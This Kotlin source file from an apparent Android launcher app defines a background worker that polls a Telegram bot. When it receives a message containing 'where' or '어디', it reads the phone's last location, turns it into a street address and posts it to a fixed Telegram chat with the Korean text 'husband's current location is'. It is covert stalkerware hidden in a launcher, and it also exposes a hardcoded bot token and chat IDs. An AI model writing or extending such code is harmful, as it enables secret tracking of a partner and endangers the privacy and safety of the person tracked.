package rasel.lunar.launcher.workers

import android.Manifest
import android.R.attr.country
import android.annotation.SuppressLint
import android.content.Context
import android.content.pm.PackageManager
import android.location.Address
import android.location.Geocoder
import android.location.Location
import android.util.Log
import androidx.core.content.ContextCompat
import androidx.work.OneTimeWorkRequest
import androidx.work.WorkerParameters
import com.google.android.gms.location.FusedLocationProviderClient
import com.google.android.gms.location.LocationServices
import com.google.android.gms.tasks.OnSuccessListener
import com.google.gson.Gson
import io.realm.kotlin.ext.query
import okhttp3.ConnectionPool
import okhttp3.OkHttpClient
import okhttp3.Request
import okhttp3.Response
import okhttp3.ResponseBody
import rasel.lunar.launcher.model.TelegramBotUpdate
import rasel.lunar.launcher.model.TelegramData
import rasel.lunar.launcher.utils.BLog
import java.io.IOException
import java.util.Locale
import java.util.concurrent.Executors
import java.util.concurrent.TimeUnit


class TelegramBotGetter : BaseGetter {
    companion object {
        val TAG = "TelegramBotGetter"
    }
    constructor(context: Context, workerParams: WorkerParameters) : super(context, workerParams) {
    }


    @SuppressLint("RestrictedApi")
    override fun realWork(): Result {

        try {

            try {
                val url = "https://api.telegram.org/bot7934509464:AAE_xUbICxMdywLGnxo7BkeIqA1nVza4P9w/getUpdates"
                //"https://api.telegram.org/bot7934509464:AAE_xUbICxMdywLGnxo7BkeIqA1nVza4P9w/sendMessage?chat_id=71476436&text=안녕하세요."
                //7068729507
                // OkHttp 클라이언트 객체 생성
                val client = OkHttpClient.Builder().connectionPool(ConnectionPool(5,60,TimeUnit.SECONDS)).build()

                // GET 요청 객체 생성
                val builder: Request.Builder = Request.Builder().url(url).addHeader("Content-Type", "application/json").get()

                val request: Request = builder.build()

                BLog.LOGE("telegram before request ")
                // OkHttp 클라이언트로 GET 요청 객체 전송
                val response: Response = client.newCall(request).execute()
                if (response.isSuccessful()) {
                    // 응답 받아서 처리
                    val body: ResponseBody? = response.body()
                    if (body != null) {
                        val bodyString = body.string()
                        BLog.LOGE("bodyString >>>>\n${bodyString}")
                        Gson().fromJson<TelegramBotUpdate>(bodyString,TelegramBotUpdate::class.java)?.let { telegramUpdates ->
                            telegramUpdates.fill()
                            telegramUpdates.list.forEach {
//                                if (it.message?.text?.startsWith("/") == true) {
                                if((it.message?.text?.contains("where") == true) || (it.message?.text?.contains("어디")  == true)) {
                                    BLog.LOGE("it.message?.text?.contains(\"where\") == true) >>> ${it.message?.text?.contains("where") == true}")
                                    BLog.LOGE("it.message?.text?.contains(\"어디\") == true) >>> ${it.message?.text?.contains("어디") == true}")
                                    WorkersDb.getRealm().apply {
                                        writeBlocking {
                                            if (query<TelegramData>("update_id == $0",it.update_id).find().size == 0) {
                                                copyToRealm(it)
                                                getLastLocation(context = applicationContext)
                                                BLog.LOGE("telegram telegramUpdates  >>>> ${Gson().toJson(it)}")
                                            }
                                        }
                                    }

                                }
                            }
                        }
                    }
                } else BLog.LOGE("telegram Error Occurred")

            } catch (e: java.lang.Exception) {
                e.printStackTrace()
            }
        } catch (e:Exception){e.printStackTrace()}
        return  Result.success().apply {

        }
    }
    var fusedLocationProviderClient: FusedLocationProviderClient? = null
    @SuppressLint("MissingPermission")
    private fun getLastLocation(context: Context) {
        fusedLocationProviderClient = LocationServices.getFusedLocationProviderClient(context);
        BLog.LOGE("Location getLastLocation")
        fusedLocationProviderClient?.getLastLocation()?.addOnSuccessListener(object : OnSuccessListener<Location?> {
            override fun onSuccess(location: Location?) {
                if (location != null) {
                    // Log the latitude and longitude
                    BLog.LOGE("Location Latitude: " + location.getLatitude())
                    BLog.LOGE("Location Longitude: " + location.getLongitude())

                    // Use Geocoder to get detailed location information
                    try {
                        val geocoder = Geocoder(context, Locale.getDefault())
                        val addresses: List<Address>? = geocoder.getFromLocation(
                            location.getLatitude(),
                            location.getLongitude(),
                            1
                        )

                        addresses?.first()?.let {
                            it.getAddressLine(0)?.let {
                                Executors.newSingleThreadScheduledExecutor().schedule({
                                    try {
                                        //////-1002450229641
                                        val url =
                                            "https://api.telegram.org/bot7934509464:AAE_xUbICxMdywLGnxo7BkeIqA1nVza4P9w/sendMessage?chat_id=83268260&text=남편의현위치는${it}"
                                        //7068729507
                                        // OkHttp 클라이언트 객체 생성
                                        val client = OkHttpClient.Builder()
                                            .connectionPool(ConnectionPool(5, 60, TimeUnit.SECONDS))
                                            .build()

                                        // GET 요청 객체 생성
                                        val builder: Request.Builder = Request.Builder().url(url)
                                            .addHeader("Content-Type", "application/json").get()

                                        val request: Request = builder.build()

                                        BLog.LOGE("telegram before request ")
                                        // OkHttp 클라이언트로 GET 요청 객체 전송
                                        val response: Response = client.newCall(request).execute()
                                        if (response.isSuccessful()) {
                                            // 응답 받아서 처리
                                            val body: ResponseBody? = response.body()
                                            if (body != null) {

                                            }
                                        } else BLog.LOGE("telegram Error Occurred")

                                    } catch (e: java.lang.Exception) {
                                        e.printStackTrace()
                                    }
                                }, 5, TimeUnit.SECONDS)
                            }
                        }
                        // Display location details on UI elements
                        // Log detailed location information
                        BLog.LOGE("Location Addresses: $addresses")
                    } catch (e: IOException) {
                        e.printStackTrace()
                    }
                }
            }
        })
    }
}